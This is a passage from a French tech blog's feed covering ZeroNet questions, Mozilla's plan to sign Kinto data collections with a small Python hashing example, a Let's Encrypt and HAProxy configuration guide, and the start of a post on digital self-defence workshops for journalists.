&lt;a href="https://hal.inria.fr/file/index/docid/471556/filename/TorBT.pdf"&gt;lors de l&amp;#8217;utilisation de BitTorrent par dessus Tor&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dans certains cas, certains clients torrents (uTorrent, BitSpirit, etc)
écrivent directement votre adresse &lt;span class="caps"&gt;IP&lt;/span&gt; dans l&amp;#8217;information qui est envoyée
au tracker et/ou aux autres pairs.
—&amp;nbsp;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/HelloZeroNet/ZeroNet/issues/274"&gt;Ce n&amp;#8217;est pas le cas de ZeroNet&lt;/a&gt;, ce qui évacue le&amp;nbsp;souci.&lt;/p&gt;
&lt;h3 id="zeromail-cest-lent-non"&gt;ZeroMail, c&amp;#8217;est lent non&amp;nbsp;?&lt;/h3&gt;
&lt;p&gt;Une des applications de démo, &lt;em&gt;ZeroMail&lt;/em&gt;, propose un mécanisme qui permet de
s&amp;#8217;envoyer des messages chiffrés sur un réseau pair à pair. L&amp;#8217;approche choisie
est de chiffrer les messages avec la clé du destinataire et de le mettre dans
un &lt;em&gt;pot commun&lt;/em&gt;. Tout le monde essaye de déchiffrer tous les messages, mais ne
peut déchiffrer que les&amp;nbsp;siens.&lt;/p&gt;
&lt;p&gt;Cela permet de ne &lt;strong&gt;pas&lt;/strong&gt; fuiter de méta-données, &lt;a href="https://blog.notmyidea.org/les-problemes-de-pgp.html"&gt;à l&amp;#8217;inverse de &lt;span class="caps"&gt;PGP&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je n&amp;#8217;ai en fait pas de réponse claire à donner à cette question: l&amp;#8217;auteur de
ZeroNet me disait que &lt;span class="caps"&gt;10MB&lt;/span&gt; (la limite de taille d&amp;#8217;un site, par défaut)
correspondait à beaucoup de place pour stocker des messages, et qu&amp;#8217;il était
possible de supprimer les anciens messages une fois qu&amp;#8217;ils sont lus par&amp;nbsp;exemple.&lt;/p&gt;
&lt;p&gt;Une autre solution à laquelle je pensait était de créer un &lt;em&gt;ZeroSite&lt;/em&gt; pour
chaque récipient, mais on connait à ce moment là le nombre de messages qu&amp;#8217;un
utilisateur peut&amp;nbsp;recevoir.&lt;/p&gt;
&lt;p&gt;Je vois plusieurs problèmes avec le design actuel de ZeroMail (il me semble
assez facile d&amp;#8217;y faire un déni de service par exemple). A&amp;nbsp;creuser.&lt;/p&gt;
&lt;h3 id="comment-heberger-des-tres-gros-sites"&gt;Comment héberger des très gros sites&amp;nbsp;?&lt;/h3&gt;
&lt;p&gt;Par exemple, comment faire pour héberger Wikipedia&amp;nbsp;?&lt;/p&gt;
&lt;p&gt;Il semble que la meilleure manière de faire serait de séparer Wikipedia en
un tas de petites ressources (par catégorie par ex.). Les gros médias pourraient
être considérés optionnels (et donc téléchargés uniquement à la&amp;nbsp;demande)&lt;/p&gt;
&lt;h3 id="est-ce-quon-a-vraiment-besoin-dun-tracker"&gt;Est-ce qu&amp;#8217;on à vraiment besoin d&amp;#8217;un tracker&amp;nbsp;?&lt;/h3&gt;
&lt;p&gt;Le support d&amp;#8217;une &lt;span class="caps"&gt;DHT&lt;/span&gt; &lt;a href="https://github.com/HelloZeroNet/ZeroNet/issues/57"&gt;est souhaité&lt;/a&gt;,
mais pour l&amp;#8217;instant pas encore implémenté. L&amp;#8217;utilisation de la &lt;span class="caps"&gt;DHT&lt;/span&gt; BitTorrent
n&amp;#8217;est pas une option puisque &lt;a href="https://github.com/HelloZeroNet/ZeroNet/issues/57"&gt;Tor ne supporte pas &lt;span class="caps"&gt;UDP&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Service de nuages : Garantir l’intégrité des données via des signatures</title><link href="https://blog.notmyidea.org/service-de-nuages-garantir-lintegrite-des-donnees-via-des-signatures-fr.html" rel="alternate"></link><published>2016-03-01T00:00:00+01:00</published><updated>2016-03-01T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2016-03-01:/service-de-nuages-garantir-lintegrite-des-donnees-via-des-signatures-fr.html</id><summary type="html">&lt;p class="first last"&gt;Comment garantir l&amp;#8217;intégrité des données en utilisant les&amp;nbsp;signatures.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;&lt;em&gt;Cet article est repris depuis le blog « Service de Nuages » de mon équipe à&amp;nbsp;Mozilla&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Dans le cadre du projet &lt;a class="reference external" href="https://wiki.mozilla.org/Firefox/Go_Faster"&gt;Go Faster&lt;/a&gt;, nous souhaitons distribuer des
mises à jour de parties de &lt;em&gt;Firefox&lt;/em&gt; de manière séparée des mises à jour majeures
(qui ont lieu toutes les 6&amp;nbsp;semaines).&lt;/p&gt;
&lt;p&gt;Les données que nous souhaitons mettre à jour sur les clients sont multiples.
Entre autres, nous souhaitons gérer &lt;a class="reference external" href="https://blog.mozilla.org/security/2015/03/03/revoking-intermediate-certificates-introducing-onecrl/"&gt;la mise à jour des listes de révocation
(&lt;span class="caps"&gt;CRL&lt;/span&gt;) de certificats &lt;span class="caps"&gt;SSL&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il est évidemment nécessaire de s&amp;#8217;assurer que les données qui sont téléchargées
sur les client sont légitimes : que personne ne tente d&amp;#8217;invalider des
certificats alors qu&amp;#8217;ils sont valides, et que l&amp;#8217;ensemble des mises à jour sont
bel et bien récupérées sur le&amp;nbsp;client.&lt;/p&gt;
&lt;p&gt;La signature garantit qu&amp;#8217;une mise à jour contient tous les enregistrements, mais il
est toujours possible de bloquer l&amp;#8217;accès au service (par exemple avec le &lt;em&gt;china
great firewall&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Ce mécanisme fonctionne pour les listes de certificats à révoquer, mais pas
uniquement. Nous comptons réutiliser ce même fonctionnement dans le futur pour
la mise à jour d&amp;#8217;autres parties de Firefox, et vous pouvez également en tirer
parti pour d&amp;#8217;autres cas&amp;nbsp;d&amp;#8217;utilisation.&lt;/p&gt;
&lt;p&gt;Nous souhaitons utiliser &lt;a class="reference external" href="https://kinto.readthedocs.org"&gt;Kinto&lt;/a&gt; afin
de distribuer ces jeux de données. Un des avantages est que l&amp;#8217;on peut
facilement &lt;em&gt;cacher&lt;/em&gt; les collections derrière un &lt;span class="caps"&gt;CDN&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Par contre, nous ne souhaitons pas que les clients fassent
confiance aveuglément, ni au serveur Kinto, ni au &lt;span class="caps"&gt;CDN&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Effectivement, un attaquant, contrôlant l&amp;#8217;un ou l&amp;#8217;autre, pourrait
alors envoyer les mises à jour qu&amp;#8217;il souhaite à l&amp;#8217;ensemble des clients
ou supprimer des certificats révoqués. Imaginez le carnage&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Afin de résoudre ce problème, considérons les conditions&amp;nbsp;suivantes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;La personne qui a le pouvoir de mettre à jour les &lt;span class="caps"&gt;CRL&lt;/span&gt; (&lt;em&gt;l&amp;#8217;updater&lt;/em&gt;)
a accès à une cle de signature (ou mieux, &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Hardware_Security_Module"&gt;un &lt;span class="caps"&gt;HSM&lt;/span&gt;&lt;/a&gt;) qui lui permet de
signer la&amp;nbsp;collection;&lt;/li&gt;
&lt;li&gt;Le pendant public de ce certificat est stocké et distribué dans&amp;nbsp;Firefox;&lt;/li&gt;
&lt;li&gt;Le &lt;em&gt;hashing&lt;/em&gt; et la &lt;em&gt;signature&lt;/em&gt; sont faits côté client pour éviter certains
vecteurs d&amp;#8217;attaque (si un attaquant a la main sur le serveur Kinto par&amp;nbsp;exemple).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le chiffrement à sens unique, aussi appellé &lt;em&gt;hashing&lt;/em&gt; est un moyen de toujours
obtenir le même résultat à partir de la même&amp;nbsp;entrée.&lt;/p&gt;
&lt;div class="section" id="premier-envoi-de-donnees-sur-kinto"&gt;
&lt;h2&gt;Premier envoi de données sur&amp;nbsp;Kinto&lt;/h2&gt;
&lt;p&gt;L&amp;#8217;ensemble des données est récupéré depuis une source &lt;em&gt;sécurisée&lt;/em&gt; puis mis dans
une collection &lt;span class="caps"&gt;JSON&lt;/span&gt;. Chaque élément contient un identifiant unique généré sur
le&amp;nbsp;client.&lt;/p&gt;
&lt;p&gt;Par exemple, un enregistrement peut ressembler à&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;b7dded96-8df0-8af8-449a-8bc47f71b4c4&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;fingerprint&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;11:D5:D2:0A:9A:F8:D9:FC:23:6E:5C:5C:30:EC:AF:68:F5:68:FB:A3&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le &lt;em&gt;hash&lt;/em&gt; de la collection est ensuite calculé, signé puis envoyé au serveur
(voir plus bas pour les&amp;nbsp;détails).&lt;/p&gt;
&lt;p&gt;La signature est déportée sur un service qui ne s&amp;#8217;occupe que de ça, puisque la
sécurité du certificat qui s&amp;#8217;occupe des signatures est extrêmement&amp;nbsp;importante.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="comment-verifier-l-integrite-des-donnees"&gt;
&lt;h2&gt;Comment vérifier l&amp;#8217;intégrité des données&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;Premièrement, il faut récupérer l&amp;#8217;ensemble des enregistrements présents sur
le serveur, ainsi que le &lt;em&gt;hash&lt;/em&gt; et la signature&amp;nbsp;associée.&lt;/p&gt;
&lt;p&gt;Ensuite, vérifier la signature du &lt;em&gt;hash&lt;/em&gt;, pour s&amp;#8217;assurer que celui-ci provient
bien d&amp;#8217;un tiers de&amp;nbsp;confiance.&lt;/p&gt;
&lt;p&gt;Finalement, recalculer le &lt;em&gt;hash&lt;/em&gt; localement et valider qu&amp;#8217;il correspond bien à
celui qui a été&amp;nbsp;signé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ajouter-de-nouvelles-donnees"&gt;
&lt;h2&gt;Ajouter de nouvelles&amp;nbsp;données&lt;/h2&gt;
&lt;p&gt;Pour l&amp;#8217;ajout de nouvelles données, il est nécessaire de s&amp;#8217;assurer que les
données que l&amp;#8217;on a localement sont valides avant de faire quoi que ce soit&amp;nbsp;d&amp;#8217;autre.&lt;/p&gt;
&lt;p&gt;Une fois ces données validées, il suffit de procéder comme la première fois, et
d&amp;#8217;envoyer à nouveau le &lt;em&gt;hash&lt;/em&gt; de la collection au&amp;nbsp;serveur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="comment-calculer-ce-hash"&gt;
&lt;h2&gt;Comment calculer ce hash&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;Pour calculer le &lt;em&gt;hash&lt;/em&gt; de la collection, il est nécessaire&amp;nbsp;:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;D&amp;#8217;ordonner l&amp;#8217;ensemble des éléments de la collection (par leur id)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Pour chaque élément, sérialiser les champs qui nous intéressent (les
concaténer clé +&amp;nbsp;valeur)&lt;/li&gt;
&lt;li&gt;Calculer le &lt;em&gt;hash&lt;/em&gt; depuis la&amp;nbsp;sérialisation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Nous sommes encore incertains de la manière dont le hash va être calculé. Les &lt;a class="reference external" href="https://tools.ietf.org/html/draft-ietf-jose-json-web-signature-41"&gt;&lt;span class="caps"&gt;JSON&lt;/span&gt; Web Signature&lt;/a&gt; semblent
une piste intéressante. En attendant, une implementation naïve en python
pourrait ressembler à ceci&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hashlib&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
   &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;b7dded96-8df0-8af8-449a-8bc47f71b4c4&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;fingerprint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;11:D5:D2:0A:9A:F8:D9:FC:23:6E:5C:5C:30:EC:AF:68:F5:68:FB:A3&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
   &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;dded96b7-8f0d-8f8a-49a4-7f771b4c4bc4&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;fingerprint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;33:6E:5C:5C:30:EC:AF:68:F5:68:FB:A3:11:D5:D2:0A:9A:F8:D9:FC&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;

&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;collection_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
</content><category term="code"></category></entry><entry><title>Let’s Encrypt + HAProxy</title><link href="https://blog.notmyidea.org/lets-encrypt-haproxy.html" rel="alternate"></link><published>2016-02-11T00:00:00+01:00</published><updated>2016-02-11T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2016-02-11:/lets-encrypt-haproxy.html</id><summary type="html">&lt;p&gt;&lt;em&gt;Note : Cet article n&amp;#8217;est plus à jour. Il est maintenant (2018) possible d&amp;#8217;installer des certificats &lt;span class="caps"&gt;SSL&lt;/span&gt; Let&amp;#8217;s Encrypt d&amp;#8217;une manière beaucoup plus simple, en utilisant certbot (et le plugin nginx &lt;code&gt;certbot --nginx&lt;/code&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It’s time for the Web to take a big step forward in terms …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Note : Cet article n&amp;#8217;est plus à jour. Il est maintenant (2018) possible d&amp;#8217;installer des certificats &lt;span class="caps"&gt;SSL&lt;/span&gt; Let&amp;#8217;s Encrypt d&amp;#8217;une manière beaucoup plus simple, en utilisant certbot (et le plugin nginx &lt;code&gt;certbot --nginx&lt;/code&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It’s time for the Web to take a big step forward in terms of security
and privacy. We want to see &lt;span class="caps"&gt;HTTPS&lt;/span&gt; become the default. Let’s Encrypt
was built to enable that by making it as easy as possible to get and
manage&amp;nbsp;certificates.&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="https://letsencrypt.org/"&gt;Let&amp;#8217;s&amp;nbsp;Encrypt&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Depuis début Décembre, la nouvelle &lt;em&gt;autorité de certification&lt;/em&gt; Let&amp;#8217;s
Encrypt est passée en version &lt;em&gt;Beta&lt;/em&gt;. Les certificats &lt;span class="caps"&gt;SSL&lt;/span&gt; sont un moyen
de 1. chiffrer la communication entre votre navigateur et le serveur et
2. un moyen d&amp;#8217;être sur que le site Web auquel vous accédez est celui
auquel vous pensez vous connecter (pour éviter des &lt;a href="https://fr.wikipedia.org/wiki/Attaque_de_l'homme_du_milieu"&gt;attaques de l&amp;#8217;homme
du milieu&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Jusqu&amp;#8217;à maintenant, il était nécessaire de payer une entreprise pour
faire en sorte d&amp;#8217;avoir des certificats qui évitent d&amp;#8217;avoir ce genre
d&amp;#8217;erreurs dans vos&amp;nbsp;navigateurs:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Message de firefox lorsque une connexion n'est pas
sécurisée." src="%7Bfilename%7D/static/unsecure-connection.png"&gt;&lt;/p&gt;
&lt;p&gt;Maintenant, grâce à Let&amp;#8217;s Encrypt il est possible d&amp;#8217;avoir des
certificats &lt;span class="caps"&gt;SSL&lt;/span&gt; &lt;strong&gt;gratuits&lt;/strong&gt;, ce qui représente un grand pas en avant
pour la sécurité de nos&amp;nbsp;communications.&lt;/p&gt;
&lt;p&gt;Je viens de mettre en place un procédé (assez simple) qui permet de
configurer votre serveur pour générer des certificats &lt;span class="caps"&gt;SSL&lt;/span&gt; valides avec
Let&amp;#8217;s Encrypt et le répartiteur de charge
&lt;a href="http://www.haproxy.org/"&gt;HAProxy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je me suis basé pour cet article sur
d&amp;#8217;&lt;a href="https://blog.infomee.fr/p/letsencrypt-haproxy"&gt;autres&lt;/a&gt;
&lt;a href="http://blog.victor-hery.com/article22/utiliser-let-s-encrypt-avec-haproxy"&gt;articles&lt;/a&gt;,
dont je vous recommande la lecture pour un complément&amp;nbsp;d&amp;#8217;information.&lt;/p&gt;
&lt;h2 id="validation-des-domaines-par-lets-encrypt"&gt;Validation des domaines par Let&amp;#8217;s&amp;nbsp;Encrypt&lt;/h2&gt;
&lt;p&gt;Je vous passe les détails d&amp;#8217;installation du client de Let&amp;#8217;s Encrypt, qui
sont &lt;a href="https://github.com/letsencrypt/letsencrypt#installation"&gt;très bien expliqués sur leur
documentation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une fois installé, vous allez taper une commande qui va ressembler&amp;nbsp;à:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;letsencrypt-auto certonly --renew-by-default
--webroot -w /home/www/letsencrypt-requests/ \
-d hurl.kinto-storage.org \
-d forums.kinto-storage.org
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Le &lt;em&gt;webroot&lt;/em&gt; est l&amp;#8217;endroit ou les preuves de détention du domaine vont
être&amp;nbsp;déposées.&lt;/p&gt;
&lt;p&gt;Lorsque les serveurs de Let&amp;#8217;s Encrypt vont vouloir vérifier que vous
êtes bien à l&amp;#8217;origine des demandes de certificats, ils vont envoyer une
requête &lt;span class="caps"&gt;HTTP&lt;/span&gt; sur &lt;code&gt;http://domaine.org/.well-known/acme-challenge&lt;/code&gt;, ou il
voudra trouver des informations qu&amp;#8217;il aura généré via la commande
&lt;code&gt;letsencrypt-auto&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai choisi de faire une règle dans haproxy pour diriger toutes les
requêtes avec le chemin &lt;code&gt;.well-known/acme-challenge&lt;/code&gt; vers un &lt;em&gt;backend&lt;/em&gt;
nginx qui sert des fichiers statiques (ceux contenus dans
&lt;code&gt;/home/www/letsencrypt-requests/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Voici la section de la configuration de HAProxy (et &lt;a href="https://github.com/almet/infra/blob/master/haproxy/haproxy.cfg#L63-L72"&gt;la configuration
complete&lt;/a&gt;
si ça peut être&amp;nbsp;utile):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;frontend http
    bind 0.0.0.0:80
    mode http
    default_backend nginx_server

    acl letsencrypt_check path_beg /.well-known/acme-challenge
    use_backend letsencrypt_backend if letsencrypt_check

    redirect scheme https code 301 if !{ ssl_fc } !letsencrypt_check

backend letsencrypt_backend
    http-request set-header Host letsencrypt.requests
    dispatch 127.0.0.1:8000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Et celle de &lt;span class="caps"&gt;NGINX&lt;/span&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;server {
    listen 8000;
    server_name letsencrypt.requests;
    root /home/www/letsencrypt-requests;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="installation-des-certificats-dans-haproxy"&gt;Installation des certificats dans&amp;nbsp;HAProxy&lt;/h2&gt;
&lt;p&gt;Vos certificats &lt;span class="caps"&gt;SSL&lt;/span&gt; devraient être générés dans &lt;code&gt;/etc/letsencrypt/live&lt;/code&gt;,
mais ils ne sont pas au format attendu par haproxy. Rien de grave, la
commande suivant convertit l&amp;#8217;ensemble des certificats en une version
compatible avec&amp;nbsp;HAProxy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cat /etc/letsencrypt/live/domaine.org/privkey.pem /etc/letsencrypt/live/domaine.org/fullchain.pem &amp;gt; /etc/ssl/letsencrypt/domaine.org.pem
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Et ensuite dans la configuration de haproxy, pour le (nouveau)
&lt;em&gt;frontend&lt;/em&gt;&amp;nbsp;https:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bind 0.0.0.0:443 ssl no-sslv3 crt /etc/ssl/letsencrypt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Faites bien attention à avoir un &lt;em&gt;frontend&lt;/em&gt; https pour tous vos sites en
&lt;span class="caps"&gt;HTTPS&lt;/span&gt;. &lt;a href="https://github.com/almet/infra/blob/master/haproxy/haproxy.cfg#L38-L60"&gt;Pour moi cela ressemble à
ça&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une fois tout ceci fait, redémarrez votre service haproxy et zou&amp;nbsp;!&lt;/p&gt;
&lt;h2 id="automatisation"&gt;Automatisation&lt;/h2&gt;
&lt;p&gt;Pour automatiser un peu tout ça, j&amp;#8217;ai choisi de faire ça comme&amp;nbsp;suit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Un fichier domaine dans &lt;code&gt;letsencrypt/domains/domain.org&lt;/code&gt; qui
    contient le script &lt;code&gt;letsencrypt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Un fichier d&amp;#8217;installation de certificats dans
    &lt;code&gt;letsencrypt/install-certs.sh&lt;/code&gt; qui s&amp;#8217;occupe d&amp;#8217;installer les
    certificats déjà&amp;nbsp;générés.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et voila ! &lt;a href="https://github.com/almet/infra/"&gt;Le tout est dans un dépot
github&lt;/a&gt;, si jamais ça peut vous servir,
tant mieux&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Ateliers d’autodéfense numérique</title><link href="https://blog.notmyidea.org/ateliers-dautodefense-numerique.html" rel="alternate"></link><published>2016-01-14T00:00:00+01:00</published><updated>2016-01-14T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2016-01-14:/ateliers-dautodefense-numerique.html</id><summary type="html">&lt;p&gt;Il y a huit mois, je me rendais compte de l&amp;#8217;importance du choix des
outils pour faire face à la surveillance généralisée, et notamment en
rapport au chiffrement des données. Une de mes envies de l&amp;#8217;époque était
l&amp;#8217;animation&amp;nbsp;d&amp;#8217;ateliers.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Je compte&amp;nbsp;donc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Organiser des ateliers de …&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;Il y a huit mois, je me rendais compte de l&amp;#8217;importance du choix des
outils pour faire face à la surveillance généralisée, et notamment en
rapport au chiffrement des données. Une de mes envies de l&amp;#8217;époque était
l&amp;#8217;animation&amp;nbsp;d&amp;#8217;ateliers.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Je compte&amp;nbsp;donc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Organiser des ateliers de sensibilisation aux outils de
    communication, envers mes&amp;nbsp;proches;&lt;/li&gt;
&lt;li&gt;Utiliser la communication chiffrée le plus souvent possible, au
    moins pour rendre le déchiffrement des messages plus longue,
    &amp;#8220;noyer le&amp;nbsp;poisson&amp;#8221;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;#8212; &lt;a href="http://blog.notmyidea.org/chiffrement.html"&gt;Chiffrement&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J&amp;#8217;ai mis un peu de temps à mettre le pied à l&amp;#8217;étrier, mais je ressors
finalement du premier atelier que j&amp;#8217;ai co-animé avec geb, auprès d&amp;#8217;un
public de&amp;nbsp;journalistes.&lt;/p&gt;
&lt;p&gt;Pour cette première édition l&amp;#8217;idée était à la fois d&amp;#8217;aller à la
rencontre d&amp;#8217;un public que je connais mal, de leur donner des outils pour
solutionner les problèmes auxquels ils font parfois face, et de me faire
une idée de ce que pouvait être un atelier sur l&amp;#8217;autodéfense&amp;nbsp;numérique.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;objectif pour ce premier atelier était&amp;nbsp;de:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Échanger autour des besoins et &lt;strong&gt;faire ressortir des histoires&lt;/strong&gt; ou
    le manque d&amp;#8217;outillage / connaissances à posé problème, dans des
    situations&amp;nbsp;concrètes;&lt;/li&gt;
&lt;li&gt;Se rendre compte des &amp;#8220;conduites à risque&amp;#8221;, &lt;strong&gt;faire peur&lt;/strong&gt; aux
    personnes formées pour qu&amp;#8217;elles se rendent compte de l&amp;#8217;état actuel
    des&amp;nbsp;choses;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proposer des solutions concrètes&lt;/strong&gt; aux problèmes soulevés, ainsi
    que le minimum de connaissance théorique pour les&amp;nbsp;appréhender.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="1-faire-ressortir-les-problemes"&gt;1. Faire ressortir les&amp;nbsp;problèmes&lt;/h2&gt;
&lt;p&gt;Afin de faire ressortir les problèmes, nous avons choisi de constituer
des petits groupes de discussion, afin de faire des &amp;#8220;Groupes d&amp;#8217;Interview
Mutuels&amp;#8221;, ou &amp;#8220;&lt;span class="caps"&gt;GIM&lt;/span&gt;&amp;#8221;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;l’animateur invite les participants à se regrouper par trois, avec des
personnes qu’on connaît moins puis invite chacun à livrer une
expérience vécue en lien avec le thème de la réunion et les deux
autres à poser des questions leur permettant de bien saisir ce qui a
été&amp;nbsp;vécu.&lt;/p&gt;
&lt;p&gt;&amp;#8212; «&lt;a href="http://www.scoplepave.org/pour-s-ecouter"&gt;Pour s&amp;#8217;écouter&lt;/a&gt;», &lt;span class="caps"&gt;SCOP&lt;/span&gt;
Le&amp;nbsp;Pavé.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;De ces &lt;em&gt;GIMs&lt;/em&gt; nous avons pu ressortir quelques histoires, gravitant
autour&amp;nbsp;de:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;La protection des sources (d&amp;#8217;information)&lt;/strong&gt;: Comment faire pour
